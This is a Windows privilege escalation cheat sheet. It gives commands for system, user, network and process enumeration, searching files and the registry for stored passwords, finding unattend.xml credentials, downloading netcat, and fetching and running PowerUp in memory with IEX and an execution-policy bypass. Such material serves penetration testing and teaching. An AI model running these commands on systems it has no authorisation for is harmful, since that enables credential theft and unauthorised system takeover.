Windows - Privilege Escalation

Almost all of the following commands are from The Open Source Windows Privilege Escalation Cheat Sheet (https://addaxsoft.com/wpecs/)

Windows Version and Configuration

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Architecture

```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```
set
```

List all drives

```
wmic logicaldisk get caption || fsutil fsinfo drives
```

User Enumeration

Get current username

```
echo %USERNAME% || whoami
```

List all users

```
net user
whoami /all
```

List logon requirements; useable for bruteforcing

```
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```
net user administrator
net user admin
```

```
net user %USERNAME%
```

List all local groups

```
net localgroup
```

Get details about a group (i.e. administrators)

```
net localgroup administrators
```

Network Enumeration

List all network interfaces

```
ipconfig /all
```

List current routing table

```
route print
```

List the ARP table

```
arp -A
```

List all current connections

```
netstat -ano
```

List firware state and current configuration

```
netsh advfirewall firewall dump
```

List all network shares

```
net share
```

Looting for passwords

Search for file contents**

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```

Search for a file with a certain filename

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

Search the registry for key names

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```

Read a value of a certain sub key

```
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```

Password in unattend.xml

Location of the unattend.xml files

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Example content

```
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" l
anguage="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>*SENSITIVE*DATA*DELETED*</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

Processes Enum

What processes are running?

```
tasklist /v
```

Which processes are running as "system"

```
tasklist /v /fi "username eq system"
```

Do you have powershell magic?

```
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVers
ion
```

Uploading / Downloading files

a wget using powershell

```
powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download
/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"
```

wget using bitsadmin (when powershell is not present)

```
cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/do
wnload/wpecs/wget.exe %TEMP%\wget.exe"
```

now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat

```
%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe
```

Spot the weak service using PowerSploit's PowerUP

```
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadStri
ng('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/Po
werUp.ps1'); Invoke-AllChecks
```

Thanks to

- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte (https://addaxsoft.com/wpecs/)
- Basic Linux Privilege Escalation (https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- Windows Privilege Escalation Fundamentals (http://www.fuzzysecurity.com/tutorials/16.html)
- TOP–10 ways to boost your privileges in Windows systems - hackmag (https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
- The SYSTEM Challenge (https://decoder.cloud/2017/02/21/the-system-challenge/)